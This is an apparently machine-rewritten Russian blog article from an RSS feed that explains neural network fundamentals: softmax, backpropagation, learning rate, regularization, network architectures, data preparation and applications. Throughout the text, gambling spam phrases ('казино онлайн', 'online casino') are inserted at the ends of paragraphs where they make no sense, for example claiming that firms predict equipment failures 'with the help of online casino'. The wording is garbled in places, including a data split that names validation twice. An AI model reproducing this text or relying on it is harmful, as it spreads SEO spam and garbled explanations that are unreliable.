<p>Softmax эксплуатируется в выходном слое для мультиклассовой классификации. Операция трансформирует набор величин в распределение шансов. Выбор преобразования активации влияет на темп обучения и производительность функционирования казино онлайн.</p>
<h2>Обучение с учителем: ошибка, градиент и обратное передача</h2>
<p>Обучение с учителем использует размеченные сведения, где каждому значению соответствует истинный результат. Модель делает прогноз, после алгоритм находит расхождение между предполагаемым и фактическим результатом. Эта расхождение именуется метрикой потерь.</p>
<p>Назначение обучения кроется в минимизации ошибки методом корректировки весов. Градиент определяет вектор наибольшего увеличения метрики ошибок. Процесс следует в противоположном направлении, уменьшая отклонение на каждой цикле.</p>
<p>Подход возвратного распространения определяет градиенты для всех параметров сети. Алгоритм отправляется с финального слоя и перемещается к начальному. На каждом слое вычисляется влияние каждого параметра в итоговую ошибку.</p>
<p>Коэффициент обучения управляет степень модификации весов на каждом шаге. Слишком избыточная темп порождает к неустойчивости, слишком низкая тормозит сходимость. Методы типа Adam и RMSprop адаптивно изменяют темп для каждого веса. Правильная калибровка хода обучения онлайн казино определяет эффективность итоговой системы.</p>
<h2>Переобучение и регуляризация: как предотвратить &#8220;копирования&#8221; данных</h2>
<p>Переобучение появляется, когда алгоритм слишком чрезмерно адаптируется под обучающие информацию. Сеть фиксирует специфические образцы вместо извлечения широких паттернов. На новых информации такая модель демонстрирует слабую верность.</p>
<p>Регуляризация образует набор способов для предотвращения переобучения. L1-регуляризация прибавляет к метрике отклонений сумму модульных значений коэффициентов. L2-регуляризация использует итог квадратов весов. Оба способа ограничивают систему за большие весовые множители.</p>
<p>Dropout случайным способом отключает часть нейронов во течении обучения. Приём побуждает сеть распределять информацию между всеми узлами. Каждая проход тренирует немного отличающуюся структуру, что улучшает надёжность.</p>
<p>Ранняя остановка прерывает обучение при деградации итогов на тестовой наборе. Наращивание размера тренировочных данных снижает вероятность переобучения. Аугментация формирует новые экземпляры через изменения оригинальных. Комбинация приёмов регуляризации даёт высокую генерализующую умение online casino.</p>
<h2>Базовые разновидности сетей: полносвязные, сверточные, рекуррентные</h2>
<p>Разные топологии нейронных сетей концентрируются на выполнении определённых групп вопросов. Определение вида сети определяется от структуры входных сведений и необходимого ответа.</p>
<p>Главные категории нейронных сетей включают:</p>
<ul>
<li>Полносвязные сети &mdash; каждый нейрон соединён со всеми нейронами последующего слоя, используются для структурированных сведений</li>
<li>Сверточные сети &mdash; используют преобразования свертки для переработки снимков, самостоятельно выделяют пространственные характеристики</li>
<li>Рекуррентные сети &mdash; имеют циклические связи для переработки серий, хранят данные о предшествующих элементах</li>
<li>Автокодировщики &mdash; сжимают информацию в плотное кодирование и возвращают исходную данные</li>
</ul>
<p>Полносвязные топологии нуждаются существенного объема весов. Свёрточные сети результативно работают с изображениями за счёт разделению весов. Рекуррентные архитектуры анализируют документы и хронологические ряды. Трансформеры подменяют рекуррентные структуры в проблемах переработки языка. Комбинированные топологии сочетают достоинства отличающихся категорий онлайн казино.</p>
<h2>Сведения для обучения: предобработка, нормализация и деление на выборки</h2>
<p>Качество сведений прямо задаёт эффективность обучения нейронной сети. Обработка предполагает фильтрацию от дефектов, восполнение отсутствующих данных и устранение повторов. Дефектные информация ведут к неправильным оценкам.</p>
<p>Нормализация переводит характеристики к общему масштабу. Различные промежутки величин создают неравновесие при расчёте градиентов. Минимаксная нормализация компрессирует параметры в интервал от нуля до единицы. Стандартизация смещает данные касательно медианы.</p>
<p>Информация разделяются на три выборки. Обучающая набор задействуется для регулировки весов. Проверочная содействует настраивать гиперпараметры и отслеживать переобучение. Тестовая определяет конечное производительность на новых сведениях.</p>
<p>Обычное пропорция образует семьдесят процентов на обучение, пятнадцать на проверку и пятнадцать на проверку. Кросс-валидация сегментирует сведения на несколько фрагментов для устойчивой проверки. Балансировка классов устраняет перекос алгоритма. Правильная предобработка сведений принципиальна для результативного обучения казино онлайн.</p>
<h2>Реальные использования: от выявления объектов до генеративных систем</h2>
<p>Нейронные сети внедряются в большом наборе прикладных вопросов. Автоматическое зрение задействует свёрточные архитектуры для выявления элементов на снимках. Комплексы безопасности определяют лица в формате мгновенного времени. Клиническая диагностика изучает снимки для нахождения патологий.</p>
<p>Анализ естественного языка даёт разрабатывать чат-боты, переводчики и механизмы анализа тональности. Речевые ассистенты определяют речь и формируют реплики. Рекомендательные системы угадывают интересы на фундаменте хроники активностей.</p>
<p>Генеративные модели создают оригинальный контент. Генеративно-состязательные сети формируют правдоподобные снимки. Вариационные автокодировщики генерируют модификации наличных сущностей. Лингвистические системы пишут документы, копирующие естественный манеру.</p>
<p>Самоуправляемые транспортные устройства задействуют нейросети для перемещения. Экономические организации прогнозируют биржевые направления и определяют кредитные риски. Производственные компании улучшают процесс и предвидят отказы оборудования с помощью online casino.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://psp-wp-test.objectsdev.com/bazy-dejatelnosti-nejronnyh-setej-99/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>